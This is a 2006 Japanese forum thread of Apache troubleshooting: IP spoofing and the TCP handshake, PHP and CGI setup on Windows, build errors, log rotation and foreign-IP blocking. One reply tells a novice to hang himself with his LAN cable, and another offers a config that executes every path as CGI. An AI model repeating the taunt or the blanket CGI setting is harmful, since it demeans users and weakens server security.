| 「なりすまし」を防ぐのは容易ではないから、IP認証とともにユーザー認証(次回解説)を併用することをお勧めする。さらに、今後紹介する予定のSSLも利用すれば、なりすましに対しても強靭なセキュリティ環境を構築できる。

「なりすましとはIPアドレスを偽る行為であり、これを行われてしまうと意図しない相手に対して正規のアクセスとしてコンテンツが提供されてしまう。」 とありますが、TCP/IP において、
IPアドレスを詐称できるのはどういった場合でしょうか?

通信経路が改ざんできる場合にはIPアドレスは詐称できるはずですが、(例えば A社とB社を結ぶ回線の途中を切断して機器を取り付ければ、
A社に対して自分はB社であると主張してB社のIPアドレスで通信することができる)それ以外の場合にはIPアドレスの詐称はできないですよね。

この、IPアドレスの詐称のリスクというのは、SSLなどの暗号化を使っていないHTTP通信の送受信内容が傍受されるリスクと同等ということでしょうか?


118 :DNS未登録さん:2006/10/07(土) 05:08:09 ID:kVdcN0bh
あげ

119 :DNS未登録さん:2006/10/12(木) 00:04:24 ID:1uh+eB9S
>>117
なりすましってのが普通にIPスプーフィングなら
送信元IPアドレスを書き換えてるのだから不正パケットを送る事は出来てもコンテンツを受信する事は出来ない。
記事がいいかげんなだけだと思うが、漏れが勘違いしてるのならスマン。


120 :DNS未登録さん:2006/10/12(木) 00:16:36 ID:???
>>119
やっぱ記事がいい加減なだよなぁ

ついでにTCPは3Way方式だから、IPスプーフィングしたとしても
不正なアクセスとして拒否されるだけかと


121 :DNS未登録さん:2006/10/12(木) 09:18:00 ID:???
>>120
「(受け取った側が)不正なアクセスとして拒否」するんではなくて、SYNパケットに
記載された発信元アドレスにSYN+ACKが送り返された結果、その発信元から「そんな
SYNは発信してないから知らん」とRSTが返ってくるか、そもそもそのアドレスには
誰もいないのでACKが返ってこずそのまま放置されるかの二択だな。

IPアドレスの偽装ができるのはTCPのようなハンドシェイク型ではないプロトコルで、
かつパケットを一方的に送りつけるだけの場合のみ。アプリケーションレイヤでは
DNSなど。

122 :120:2006/10/12(木) 17:30:02 ID:???
>>121
なるほど
勉強になった
ありがとうー

123 :DNS未登録さん:2006/11/09(木) 23:40:12 ID:nVYLLfWR
教えて君で申し訳ありません。
Apache2.xでの話なのだけど・・・
エイリアスを作ったのはいいんだけど
URLで大文字小文字を区別するんだよね。エイリアス。
ここを区別なしにする設定の書き方って
どなたかご存知ですか?
今日一日ぐぐったんだけど、見つからない・・・
MOD_SPELING もエイリアスの定義では使えないようだし・・・
正規表現もどうやるのか。
まさか文字の組み合わせを全部エイリアスに定義するとか言うのは('д`)なんですが。

124 :DNS未登録さん:2006/11/10(金) 15:02:41 ID:???
元々大文字小文字を区別するファイルシステムでも使ってる以上しょうがないんじゃ
rewrite 使って正規表現でやれば近いことはできる

125 :DNS未登録さん:2006/11/10(金) 18:41:19 ID:???
>124
ありがとうございます。
ファイルシステムはWindowsです。(IISはあえて使いません)
何かサンプルになるようなrewriteのコードをご紹介いただけますでしょうか。


126 :DNS未登録さん:2006/11/17(金) 02:11:18 ID:goeqfrh6
ずばり、HTMLの表示レスポンスを高速化するには
どうしたらいいですか?

127 :DNS未登録さん:2006/11/17(金) 02:36:32 ID:???
ずばり、マシンごと買い換える

128 :DNS未登録さん:2006/11/17(金) 09:07:46 ID:???
できもしないのにできるとか
えらそうな無能がいませんか

129 :DNS未登録さん:2006/11/17(金) 10:09:08 ID:???
お、新レスあるまで気がつかなかったべや
つーか、mod_rewrite と正規表現でググればいくらでもでてくるべや

130 :DNS未登録さん:2006/11/17(金) 12:26:34 ID:???
この様な状況で
__WW___W_W__W____W__W__WWWWW__W_W___W_W__W_W__WW__W_________WW_W
_W____W_WW_WW__W____W________W_W_W_WW___W__W____W_W_____W___WW__
_________WW.....................................................
Waiting for Connectionが異常に多いのですが
解消法はありますか?

お願いします。


131 :DNS未登録さん:2006/11/17(金) 14:35:11 ID:???
    _, ._
  ( ・ω・)    あんまり生やすなよ
  ○={=}〇,
   |:::::::::\, ', ´
.wwし w`(.@)wwww wwwwwwwwwwww



132 :DNS未登録さん:2006/11/17(金) 20:26:24 ID:???
>>130
> Waiting for Connectionが異常に多いのですが

それが何か問題でも?
っていうか、"Waiting for Connection"って英語の意味を理解しているかい?

理解した上で言っているのなら、MinSpareServersとMaxSpareServersを減らせばいい。

133 :DNS未登録さん:2006/11/19(日) 04:53:47 ID:???
PS3にLinux入れてApache動かしたツワモノはいないのか?

134 :DNS未登録さん:2006/11/19(日) 10:38:23 ID:???
>>133
強者も何も、ただのPPC-Linuxだから動かすのは簡単だろう。

135 :DNS未登録さん:2006/11/19(日) 20:38:15 ID:???
PS3買えませんでした><
どうせ半額未満で投げ売るようになるだろうからその時買います><

136 :DNS未登録さん:2006/11/21(火) 15:42:37 ID:cM0/7zfB
Apache2でSSLを動かそうとしているんですが、コンパイルした後、うまく動いてくれません。

apachectrl startssl
を実行すると一見動いたように見えて動いてくれません。

apachectrl start
という感じでSSL無効なら問題なく動きます。

画面にはメッセージ等何も出ないので何が起こってるのかわからない状況です。

137 :DNS未登録さん:2006/11/21(火) 16:03:15 ID:???
エラーログくらい見ようよ

138 :DNS未登録さん:2006/11/21(火) 16:17:32 ID:???
>>137

エラーログって/var/log/messagesのことでいいですか?
ここには何のログも残っていないです。

139 :DNS未登録さん:2006/11/21(火) 16:23:59 ID:???
エラーログにもたどり着けないような人は(ry

140 :DNS未登録さん:2006/11/21(火) 16:26:50 ID:???
ぁ、error_logの方ですね。
あとは自分でできそうです、ありがとうございました。

141 :DNS未登録さん:2006/11/22(水) 23:34:25 ID:4DkYGDps
Apache2.2.3Win版をインスト直後のhttpd.confって480行しかないんだけど、昔のVerより少なくね?

142 :DNS未登録さん:2006/11/22(水) 23:40:08 ID:???
よく見るとなんか設定ファイルの数増えてなくね?

143 :DNS未登録さん:2006/11/23(木) 01:40:00 ID:rCMSlT5r
質問させていただきます。(Linux, apache2.2.3)
apache2.2.3のソースツリーを設定する際
./configure --prefix=/opt/apache2 としてコンパイル、インストールしました。

その後prefix=/apache2に移動させようと思い
/opt/apache2以下全てのファイルを削除した後、
もう一度./configure --prefix=/apache2 --enable=so
としてmake, make installしたところmake installの最後に下記のエラーが出てます。

libtool: install: error: cannot install `libaprutil-1.la' to a directory not ending in /opt/apache2/lib

/apache2以下にはbin, build, include, libのみが作られconf, etc等がありません。
prefixを変更したのが原因なのでしょうか?


144 :DNS未登録さん:2006/11/23(木) 01:42:04 ID:rCMSlT5r
質問させていただきます。(Linux, apache2.2.3)
apache2.2.3のソースツリーを設定する際
./configure --prefix=/opt/apache2 としてコンパイル、インストールしました。

その後prefix=/apache2に移動させようと思い
/opt/apache2以下全てのファイルを削除した後、もう一度./configure --prefix=/apache2 --enable=so
としてmake, make installしたところmake installの最後に下記のエラーが出てます。

libtool: install: error: cannot install `libaprutil-1.la' to a directory not ending in /opt/apache2/lib

/apache2以下にはbin, build, include, libのみが作られconf, etc等がありません。
prefixを変更したのが原因なのでしょうか?


145 :143:2006/11/23(木) 01:42:49 ID:rCMSlT5r
二重投稿してしまいました。申し訳ありません。

146 :DNS未登録さん:2006/11/23(木) 02:04:08 ID:???
make clean

147 :DNS未登録さん:2006/11/23(木) 09:53:01 ID:???
あは〜ん

148 :143:2006/11/23(木) 10:14:42 ID:rCMSlT5r
>>146
解決しました!
ありがとうございました。


149 :DNS未登録さん:2006/11/23(木) 10:37:59 ID:???
Apache James(AVALON)について質問させてください。
Derbyをプログラムの中で使いたいのですが、AVALONのコネクションプーリングを
利用しようとしても、
クラスキャスト例外が発生して使用できません。
config.xmlの中身を
<data-source name="db"class="org.apache.james.util.dbcp.JdbcDataSource">
<driver>org.apache.derby.jdbc.ClientDriver</driver>
<dburl>jdbc:derby://localhost:1527/DB</dburl>
<user>foo</user>
<password>hoge</password>
<max>20</max>
</data-source>
とし、プログラム内で
String ds = getInitParameter( "datasource" );
try {
※ComponentManager mgr =(ComponentManager)getMailetContext().getAttribute(Constants.AVALON_COMPONENT_MANAGER);
DataSourceSelector selector = (DataSourceSelector)mgr.lookup(DataSourceSelector.ROLE);
datasource = (DataSourceComponent)selector.select( ds );
} catch( Exception e ) {
}
と書くと、※の行で例外が発生します。
対処方法は無いでしょうか?


150 :DNS未登録さん:2006/11/24(金) 00:12:25 ID:+p6P1iST
Apache/2.2.*系とApache/2.0.*系って、Indexesの表示が若干違う?
2.0.*1系だと<PRE>で一覧吐くけど、今回入れた2.2.*系だと<TABLE>で吐く。
見た目が<PRE>の方が綺麗で好きなんだけど、これって変えれるもん?

151 :150:2006/11/24(金) 00:42:04 ID:???
mod_autoindexで解決できそうやね。
めんどくさいんで、やりそうにないけど。

152 :DNS未登録さん:2006/11/24(金) 02:00:25 ID:???
IndexOptionsのHTMLTableってなくなったの?

153 :150:2006/11/24(金) 03:40:21 ID:???
>>152
あるよ。PREにしたいだけなら、そこを削ればOK。
でももうちと違った表示にしたかったから面倒だなってだけ。

154 :DNS未登録さん:2006/11/24(金) 12:04:21 ID:???
WindowsMe + Apache + PHPの初期設定に必要な、
httpd.conf、php.iniの書き換えなどについての質問は、
ここのスレでよろしいでしょうか。

155 :DNS未登録さん:2006/11/24(金) 12:37:39 ID:???
ApacheはMSIで入れるだけ、PHPはWindowsへのインストール方法をそのままやるだけ、
質問することなんてある?

156 :154:2006/11/24(金) 13:23:48 ID:???
>>155
ありがとうございます。

PHPの講座の所の解説を見てやっていたのですが、
バージョンの違いなどにより、それぞれ少しずつ違っていて、
全部試したんですけどだめでした。

「php Windowsへのインストール方法」でググった所、
別の所が見つかったので、その方法を試して見ます。

157 :DNS未登録さん:2006/11/24(金) 13:35:56 ID:???
質問させていただきます。

特に設定を変えないで
CGIを実行するには
Apacheのcgi-binフォルダにcgiのファイルをいれて
http://127.0.0.1/cgi-bin/***.cgi
で実行しますよね。

これをどこでもCGIが実行でき、
htmlが普通に表示できるように( xrea等のレンタルサーバーみたいに)
するにはどこをどう変えればよろしいでしょうか?

多少文が変かもしれませんが、よろしければご教授お願いします。

158 :k ◆WFGp1NZuiw :2006/11/24(金) 13:38:37 ID:???
<Location />
Options ExecCGI
SetHandler cgi-script
</Location>

とか.

159 :DNS未登録さん:2006/11/24(金) 14:05:30 ID:???
>>158
ありがとうございます。

どこでもCGIは動くようになりましたが
htmlなど他のものが動かなくなっちゃいました。

ですが
Options +ExecCGI
#SetHandler cgi-script
に変えてみたら、望みのとおりうまくいきました。
感謝しております。


160 :154:2006/11/24(金) 14:46:51 ID:???
>>155
http://www.obi.ne.jp/cat_260cgi.html を見てやってみました。

http://www.php.net/manual/ja/install.windows.apache2.php
の「CGI バイナリの使用」の所で、
「以下の行を Apache 設定ファイル httpd.conf へ追加してください。」
と書いてありますが、どこに追加すればいいか分かりません。

後、これを追加していないせいか、
スタートメニューからApacheを起動すると、
「Cannot load C:/php/php5apache2.dll into server:」
と出て、起動できません。
追加した「LoadModule php5_module "C:/php/php5apache2.dll"」
の記述を消すと、起動できます。

161 :DNS未登録さん:2006/11/24(金) 15:05:15 ID:???
Cannot load C:/php/php5apache2.dll into server
と出て〜じゃなくて、ちゃんと読め。それが答えだ。

162 :DNS未登録さん:2006/11/24(金) 15:07:06 ID:???
PHPを使うならApacheはとりあえず2.0.Xを使っとけよ。

163 :154:2006/11/24(金) 15:28:04 ID:???
ありがとうございます。

>>161
サーバーに積み込めないという事ですよね。
パスは間違っていませんし、別の所が間違っているんでしょうか。

>>162
2.2.3でやっていました。古いのでもやってみます。

164 :154:2006/11/24(金) 16:28:35 ID:???
古いバージョンのでやったらできました。
教えてくださった皆様、ありがとうございました。

165 :DNS未登録さん:2006/11/24(金) 19:31:56 ID:???
157です。
度々すみません。
perlで文章を表示等は>>159のやり方でできました。

それで、Kent Webさんの所の掲示板のスクリプトを
試しに動かしてみたところ、書込み時に
Open Errorと出てきます。
他の自作スクリプトでもファイルが開けないみたいです;;

設定を色々弄ってみたのですが変わる見込みはなさそうです。
04WebServerという他のHTTP Serverだと普通に動くので
Perlの設定ミスでは無さそうです。

度々申し訳ないですが
宜しければ助言お願いします

166 :DNS未登録さん:2006/11/24(金) 22:38:05 ID:pJepZ+8s
>>162,163

2.2.3じゃ動かないか?

167 :DNS未登録さん:2006/11/25(土) 00:21:04 ID:ALe2kHjJ
Apache2.2.3 PHP5.2(C:\PHP)をWindows2000に入れて動かそうとしています。

Apache単体では問題なく動作しました。その後PHP5.2を入れてhttpd.confを変更すると
Apacheの再起動時に下記のエラーを吐いて動作しません。対処法を教えて下さい

httpd.confに追加した2行
LoadModule php5_module "c:/php/php5apache2.dll"
PHPIniDir "C:/php"

error.logのエラー
[Fri Nov 24 23:26:00 2006] [notice] Apache/2.2.3 (Win32) configured -- resuming normal operations
[Fri Nov 24 23:26:00 2006] [notice] Server built: Jul 27 2006 16:49:49
[Fri Nov 24 23:26:00 2006] [notice] Parent: Created child process 672
[Fri Nov 24 23:26:00 2006] [notice] Child 672: Child process is running
[Fri Nov 24 23:26:00 2006] [notice] Child 672: Acquired the start mutex.
[Fri Nov 24 23:26:00 2006] [notice] Child 672: Starting 250 worker threads.
[Fri Nov 24 23:26:00 2006] [notice] Child 672: Starting thread to listen on port 80.

168 :DNS未登録さん:2006/11/25(土) 00:25:28 ID:???
エラーって全部noticeじゃねえかよ
英語できないやつは使うな

169 :k ◆WFGp1NZuiw :2006/11/25(土) 00:26:49 ID:???
>>167
[notice] とあるようにそれはエラーメッセージでは無いですよ.
正常な出力だと思います.

170 :167:2006/11/25(土) 00:41:12 ID:ALe2kHjJ
php5apache2_2.dllを使ったら解決したよ。ありがとう

171 :DNS未登録さん:2006/11/25(土) 06:37:56 ID:???
だが、Windows版はwarn以上のみを報告しろと設定しても、noticeレベルも
返してくるから困る。

172 :DNS未登録さん:2006/11/25(土) 14:29:03 ID:qpqWTxc0
Windows版Apacheでaccess.logをローテートしたいんだけど、みんなはどうしてますか?

173 :DNS未登録さん:2006/11/25(土) 14:40:37 ID:???
rotatelogs.exeが付いてるだろ

174 :DNS未登録さん:2006/11/25(土) 21:04:42 ID:???
アクセスの度に rotatelogs.exe が呼び出されるような設定にすると、
普通の使用の10倍以上の負荷がかかるから気をつけろよ。

175 :DNS未登録さん:2006/11/25(土) 22:23:34 ID:+AdVKemG
>>174
kwsk

176 :DNS未登録さん:2006/11/26(日) 04:07:07 ID:???
>>174
mjkwsk

177 :174:2006/11/26(日) 04:15:07 ID:???
>>175-176
漏れもいまWinでApache使ってないからしらね
3年ぐらい前にそういう経験があったのは事実

確かどっかのローテート解説サイトに従ってやったら毎回 rotatelogs.exe が呼び出されて
CPU負荷かかりまくりになった

178 :DNS未登録さん:2006/11/26(日) 09:43:15 ID:???
バッチファイルでやるのはなんか問題あるの?


179 :DNS未登録さん:2006/11/26(日) 10:06:10 ID:???
リネームするとリネームされた古いファイルに出力を続ける。
それを断ち切るシグナルUSR1は使えるのか?
ってところかな?
一旦サービスを再起動させれば、元の名前でファイルを新たに作るけど、
サービスの再起動は大掛かり過ぎる。

180 :DNS未登録さん:2006/11/26(日) 10:23:35 ID:???
なるほろ、そういうことね。


181 :DNS未登録さん:2006/11/26(日) 10:26:18 ID:???
>>177
今も大して変わらんよ。Apache側に原因があるのではなくてWindows側の仕様の問題
だからだ。WindowsはUNIX系のシステムとは違って標準で呼び出すべきライブラリ数が
多くてプロセスを起動する際の負荷が大きいのがその理由。だからこそIEのように
システム的に常駐させたりスタートアップに登録したりするのが多くなるのだが。

>>179
USR1=graceful restartな。
Windowsでも問題なく動くはず。

182 :DNS未登録さん:2006/11/26(日) 10:34:17 ID:hFswDvB+
webプログラミングの学習をしている者ですがstart tomcatアイコンを
クリックするとjava.net.BindException:address already use...という
メッセージが出て立ち上がりませぬ。
理由と対処法を知っている親切な方がいれば教えてください。
興味からApache/2.0.55と同時に立ち上げたのが不味かった様な気も
するのですが。

183 :DNS未登録さん:2006/11/26(日) 12:21:45 ID:???
>>182
メッセージそのままだよ。portがぶつかってる。

でも、デフォルトだとアパッチは80でtomcatは8080のはずなんだけどな…

184 :DNS未登録さん:2006/11/26(日) 14:22:12 ID:???
>>182
skypeとか起動してね?

185 :DNS未登録さん:2006/11/27(月) 15:48:35 ID:???
JAMESのメーリングリストユーザってプログラム内で追加削除できますか?

186 :DNS未登録さん:2006/11/27(月) 23:50:35 ID:z13ELL/B
Windows版の2.2.3を使用しています。
cgiを使うのですが、
http://localhost/tet.cgiとサーバー上で指定すると正しくcgiが実行されます。
ところが他のPCからhttp://サーバのIP/tet.cgiとするとcgiファイルをダウンロードしようとして保存か実行かと聞いてきます。

対象法を伝授して下さい。

187 :DNS未登録さん:2006/11/28(火) 14:02:11 ID:???
>>149
import org.apache.avalon.framework.component.ComponentManager;


188 :186:2006/11/28(火) 17:10:50 ID:Ho3gtZtw
クライアントPCの拡張子cgiにテキストエディタを割り当てていたのが原因で関連を削除すると、ブラウザで正常に
cgiが動作しました。

189 :DNS未登録さん:2006/11/28(火) 18:19:45 ID:Kid/B0nO
.htpasswdにパスワードを設定する際、下記サイトのものとhtpasswd.exeで求めた物が違うのですが、
どこかwebで求める物の他のサイトをご存知ありませんか?

http://www.shiftweb.net/cgi-bin/cryptform.php

190 :DNS未登録さん:2006/11/28(火) 20:22:46 ID:???
>>189
この手のパスワード暗号化には必ず乱数が入るので
実行するたびに結果が変わるのは当然のこと。

191 :189:2006/11/28(火) 21:58:28 ID:???
>>190
ありがとう

192 :DNS未登録さん:2006/11/28(火) 22:00:55 ID:???
CPUの温度とか、そういったものをタネにするやつもあるしな。


193 :DNS未登録さん:2006/11/28(火) 22:37:11 ID:???
VIA EDENならチップ内のノイズを種に利用できる

194 :DNS未登録さん:2006/11/28(火) 22:41:22 ID:???
php の セッションIDはデフォルトでは、マイクロ秒単位の現在時刻+ユーザーのリモートアドレス+combined-LCG(線形合同法自体は、疑似乱数生成方法としてはセキュアな方法ではないとされている) が種。
すなわち、セキュアな乱数を種としていない。

http://www.degitalscope.com/~mbspro/userfiles_res/mfprp451/ ←解説と対策

大抵の htpasswd の生産CGIも同じ。

Unix 系のOS なら /dev/urandom を使おう。

http://www.linux.or.jp/JF/JFdocs/Secure-Programs-HOWTO/random-numbers.html
(周囲で発生するノイズ等の攻撃者に推測されない値をデバイスドライバや他の情報源から収集して、乱数の種として使用される。
 特殊なハードウェアが無い普通のPCでも使える。HDDの回転数、CPUの温度、ハードウェアの温度、マウスの動き、HDDの寿命、ハードウェアのエラーセクタ、
 などなどPCには乱数の種として使用できる攻撃者に推測されない値がいっぱいそなわっているのだ。)


195 :194:2006/11/28(火) 22:49:16 ID:???
上のURLが間違っていました。

http://tdiary.ishinao.net/20061120.html#p01


これが正解です。

申し訳なかった;;

196 :DNS未登録さん:2006/11/28(火) 22:50:19 ID:???
Apache勉強中です。
とりあえず、WEBサーバー作ろうと思って一通りやってみました。
今、
WinXP SP2にApache2.2、
ファイアーウォールにstgatepersonalfirewall
アンチウイルスにavast!4Home、
それと、Diceを入れた状態です。
CGI,Perlも入れました。

セキュリティ的に次ぎにしなければならないことってなんでしょうか。
ディレクトリの一覧が出ちゃうのとか、自宅サーバ解説ページでは触れてないとこ多いですけど、放っておいてもいいんでしょうか。

197 :DNS未登録さん:2006/11/28(火) 22:58:36 ID:???
>>196
> セキュリティ的に次ぎにしなければならないこと
そのApacheをアンインストールしてLANケーブルを抜き、
抜いたLANケーブルで首を吊る。

198 :DNS未登録さん:2006/11/28(火) 23:48:19 ID:???
>196
国内のIP範囲を列挙し、IPフィルタリングでそのIP以外を遮断


199 :DNS未登録さん:2006/11/29(水) 00:19:41 ID:???
>>198
いい加減にしなさい。
インターネットをなんだと思ってるんだ。

ワームの攻撃によって作成されたログの量が減ったぐらいでセキュアになったと思うな。
そういう奴に限って、セキュリティの基本を無視していたりするんだよね。

日本語を理解できるのは日本人だけじゃないし、(過去に日本によって強制連行された朝鮮人とかも日本語は当然理解できる。)
オーストラリアやアメリカに旅行している時に日本のサイトが使えないのは不便だ。

価値のあるサイトだったら翻訳サイトを通じてでも読みたい人はいるし、海外割り当てIPを拒否したら、Google のクロールにも問題でるよ。

それに、日本にだって公開プロキシサーバや脆弱なサーバは山ほどあるわけだから、ワームによる攻撃が回避できる程度の意味しかない。

まぁ、どうしてもやりたいなら APNIC の DB だけじゃなくて、ARIN のデータベースも使って欲しい。
ftp://ftp.apnic.net/pub/apnic/stats/apnic/delegated-apnic-latest
ftp://ftp.arin.net/pub/stats/arin/delegated-arin-latest



200 :DNS未登録さん:2006/11/29(水) 00:21:39 ID:???
海外の会社より国内の会社の方が若干対応が早い
何より日本語で対応可能

ただそれだけだ

201 :DNS未登録さん:2006/11/29(水) 00:26:01 ID:???
>>198
海外からの侵入を防ぐということですか、なるほど。

鷹巣というところのサイトを参考に、今↓
ttp://sakaguch.com/SetCTUfirewalls.html

な感じなのですが、これだけではマズいでしょうか?

202 :DNS未登録さん:2006/11/29(水) 00:27:53 ID:???
>>199
>価値のあるサイトだったら翻訳サイトを通じてでも読みたい人はいるし、海外割り当てIPを拒否したら、Google のクロールにも問題でるよ。

横から拝見してるだけですが、聞いてるだけで参考になります。
そういう問題もあるんですね。

203 :DNS未登録さん:2006/11/29(水) 00:30:24 ID:???
ぶっちゃけ、日本 = 安全 という考えが根本的に間違いです。

日本人には危機感が無い人、セキュリティ意識の無い人が多すぎるわけで、
何も考えずに Winny でダウンロードしたEXEをダブルクリックする人がいっぱいいるわけです。

そういう人を踏み台にすることは容易なわけで、http://www.pf-x.net/ なんかは過去に100近いホスト
(全部国内割り当てのIPアドレス) から DDoS 攻撃を受けたことがあるとのこと。

違法ファイルに近似したファイル名にしてWinnyに流すだけで踏み台が山ほど手に入る今日この頃なわけで、
セキュリティを意識するなら、パッチ当てや不要なサービスの無効化、セキュアな方向での設定、セキュリティを意識したコーディング、
IDSの導入などを心がけるべきです。

検索エンジンから無視される、海外にいる人がアクセスできない、などの弊害を理解した上で、
僅かなセキュリティ向上を目的として海外のIP遮断をするなら何もいいませんが。

204 :DNS未登録さん:2006/11/29(水) 00:30:58 ID:???
日本人のセキュリティ意識は、世界でも最低レベルだからなw

平和ぼけした厨がおおすぎw

205 :DNS未登録さん:2006/11/29(水) 00:35:00 ID:???
>>203
さりげなく宣伝乙^^

206 :DNS未登録さん:2006/11/29(水) 00:48:53 ID:???
誰が安全って言った?
やりとりが楽だから
ただそれだけだ

207 :DNS未登録さん:2006/11/29(水) 19:03:31 ID:???
日本語話せる外人さんはアクセス許可するよ。

208 :DNS未登録さん:2006/12/02(土) 00:12:57 ID:???
apache2.2で
画像ファイルやtxtファイルが
さっぱりブラウザに表示されなくなったのだが、
悪霊でも取り憑いたのでしょうか¥?

209 :DNS未登録さん:2006/12/02(土) 00:31:26 ID:???
しらねぇよ

210 :DNS未登録さん:2006/12/02(土) 00:36:35 ID:???
>>208
kwsk

211 :DNS未登録さん:2006/12/02(土) 02:06:23 ID:rS/XUKjp
質問です。
CentOS4.4に、Apache2.0.59をソースから入れ、workerを使おうとしています。
configure時に何も指定せずにpreforkでのインストールなら、正常にインストールでき、
正常にApacheを稼動できましたが、
>./configure --with-mpm=worker
とすると、configureは正常に完了しますが、makeすると

.
.
.
server/mpm/worker/.libs/libworker.a(pod.o)(.text+0x150):/root/forServer/httpd-2.0.59/server/mpm/worker/pod.c:104: first defined here
/usr/bin/ld: Warning: size of symbol `ap_mpm_pod_killpg' changed from 51 in server/mpm/worker/.libs/libworker.a(pod.o) to 48 in server/.libs/libmain.a(mpm_common.o)
collect2: ld returned 1 exit status
make[1]: *** [httpd] エラー 1
make[1]: Leaving directory `/root/forServer/httpd-2.0.59'
make: *** [all-recursive] エラー 1

となり、途中で終了してしまいます。
原因は何でしょうか?ご教示ください。

212 :k ◆WFGp1NZuiw :2006/12/02(土) 02:09:54 ID:???
>>211
make clean した?

213 :DNS未登録さん:2006/12/02(土) 02:18:52 ID:???
>>211
してませんでした。
したら解決し、無事にApacheを起動できました。
ありがとうございました。


214 :211=213:2006/12/02(土) 02:19:36 ID:???
>>212 さん宛でした。すみません。

215 :DNS未登録さん:2006/12/02(土) 13:07:05 ID:???
win版Apacheで質問があります

OS:WIN2K SP4
Apache:2.0.53
PHP:5.0.3

ブラウザからPHPスクリプトを動かしてファイルのコピー処理をしようとしています
そのファイルがネットワークドライブ上にある時なんですがファイル情報の取得が出来ずに困っています
調べてみた所
・ネットワークドライブはユーザーで別に管理している
・Apacheとスクリプトは別ユーザーで動いている
との事なのでapacheとクスリプトの実行ユーザーの変更をしてみようとしたのですが
変更方法が見つかりませんでした

実行ユーザーを変える方法かもっと良い方法があれば教えていただけないでしょうか?

216 :DNS未登録さん:2006/12/02(土) 19:38:26 ID:???
>>215
UNCパスを使う。

217 :DNS未登録さん:2006/12/03(日) 17:50:07 ID:7LpPjheg
Apache関連 Part9 スレで、板違いと言われたので・・・。
----------------------------------------------------
ローカル環境で、ページを表示すると画像が途中で切れてしまいます。
(表示は出来ますが、途中からおかしくなっています。)

途中で切れるのは、画像だけではないようで、zipをダウンロードすると、
ファイルサイズは正常でも、実際にはファイルが壊れてしまいます。

画像、zip限らず、バイナリデータ?が途中で切断されてるっぽいのです。
pdf,swfも含め、一定サイズ(64KB?)以上の物が正常に表示できません。

同じデータをweb上にアップすると、正常に表示(取得)できます。

Apacheでそのような制限をするような設定があるのでしょうか?

- 環境 -
Win XP Pro SP2
Apache 2.0.58
PHP 5.1.4


218 :DNS未登録さん:2006/12/03(日) 17:57:55 ID:???
バイナリエディタで先頭部を示してください

219 :217:2006/12/03(日) 19:34:11 ID:7LpPjheg
JPG画像の先頭からのバイナリです。

FF D8 FF E0 00 10 4A 46-49 46 00 01 01 01 00 48
00 48 00 00 FF DB 00 43-00 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01-01 01 01 01 01 01 01 01
01 01 01 01 01 02 01 01-01 01 01 01 02 02 02 02
02 02 02 02 02 02 02 02-02 02 02 02 02 02 02 02

Temporary Internet Filesの物は違うのかと思い
確認してみましたが、同じでした。

で、Temporary Internet Filesのバイナリと、
元のバイナリを比較してみた所、Temporary Internet Filesの方には、

アドレス:010000から、また先頭と同じバイナリデータがあります。
これがおかしくなっている原因だと思うのですが、なぜこのようになったのか解りません。


220 :217:2006/12/03(日) 19:38:07 ID:7LpPjheg
連投すいません。
おかしくなるデータは、アドレス:FFFF単位で、
ヘッダ情報と同じバイナリデータが、繰り返されています。

221 :DNS未登録さん:2006/12/03(日) 20:20:53 ID:???
なんか変なセキュリティソフトが妨害してたりしてな。

222 :DNS未登録さん:2006/12/03(日) 20:51:38 ID:???
>>217
OSに何か問題があると思われ。
何も考えずに再インストールすればすぐに解決できるだろう。

223 :217:2006/12/03(日) 21:15:06 ID:???
情報ありがとうございます。
Apacheは、再インストールしてみましたが解決しませんでした。
再インストールは、OSってこと?

224 :DNS未登録さん:2006/12/03(日) 21:15:29 ID:???
モジュールとかなんかいれた?deflateだか

225 :DNS未登録さん:2006/12/03(日) 21:48:29 ID:???
>>223
OSのこと。おそらくループバックデバイス(IPv4=127.0.0.1になってるアレ)が
おかしくなってるはず。

226 :217:2006/12/03(日) 21:58:31 ID:???
>>224
モジュールとかは、何も入れてません。
PHPと、Mysqlを使えるようにしているだけです。
数日前までは問題はなくて、気がつくとおかしくなってました。

>>225
OS再インストか・・・。
出来れば、他に方法があれば助かるんですけど。


227 :DNS未登録さん:2006/12/03(日) 22:28:29 ID:f82IoZzW
Apache2で容量の壁にぶつかり困っております。
コンパイルオプションに

CFLAGS="-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"

をつけると解決するとの事で早速やってみたのですが、
makefileまでは作れるものの、その後のコンパイルにて
下記のようなエラーが出てしまいます。

/usr/include/sys/sendfile.h:26: #error "<sys/sendfile.h> cannot be used with _FILE_OFFSET_BITS=64"
make[4]: *** [sendrecv.lo] Error 1
make[4]: Leaving directory `/root/httpd-2.0.58/srclib/apr/network_io/unix'
make[3]: *** [all-recursive] Error 1
make[3]: Leaving directory `/root/httpd-2.0.58/srclib/apr/network_io/unix'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/root/httpd-2.0.58/srclib/apr'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/root/httpd-2.0.58/srclib'
make: *** [all-recursive] Error 1

どなたかアドバイスをよろしくお願いいたします。

228 :DNS未登録さん:2006/12/03(日) 22:31:04 ID:???
>>227
2.2使えよ

229 :DNS未登録さん:2006/12/03(日) 23:32:54 ID:???
2.2使ったら負けかなって思ってます。

230 :DNS未登録さん:2006/12/03(日) 23:38:57 ID:???
OSは?

231 :DNS未登録さん:2006/12/04(月) 00:42:59 ID:???
30分前まで起動していたDerbyなんですが、再起動しようと思ってstartNetworkServer.batを叩いたら
Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/derby/drda/NetworkServerControl
と怒られてしまいました。
起動していたderbyも同じbatファイルで起動しています。
なぜでしょうかorz

232 :k ◆WFGp1NZuiw :2006/12/04(月) 00:49:04 ID:???
>>217
UNIX ならこの辺が原因だとおもうけど...
http://issues.apache.org/bugzilla/show_bug.cgi?id=34332

233 :217:2006/12/04(月) 02:30:49 ID:???
>>232
情報どうもです。って英語・・・orz
辞書片手にがんばってみます。

234 :DNS未登録さん:2006/12/04(月) 06:04:42 ID:ybKaMqHo
apache2.2
FedoraCore6
光ファイバー

CPUにもメモリにも負荷がかかってないのに、
WEB閲覧(転送速度)が遅い、というのは何が原因なのでしょうか。

公開してみたはいいものの、めちゃ遅いです。

235 :DNS未登録さん:2006/12/04(月) 08:11:04 ID:???
>>234
お前の頭が悪すぎるのが原因じゃね?

236 :DNS未登録さん:2006/12/04(月) 08:31:47 ID:ybKaMqHo
初心者なのは認めます。

237 :227:2006/12/04(月) 15:17:34 ID:???
>>228
試しに2.2入れてみましたが解決せず…
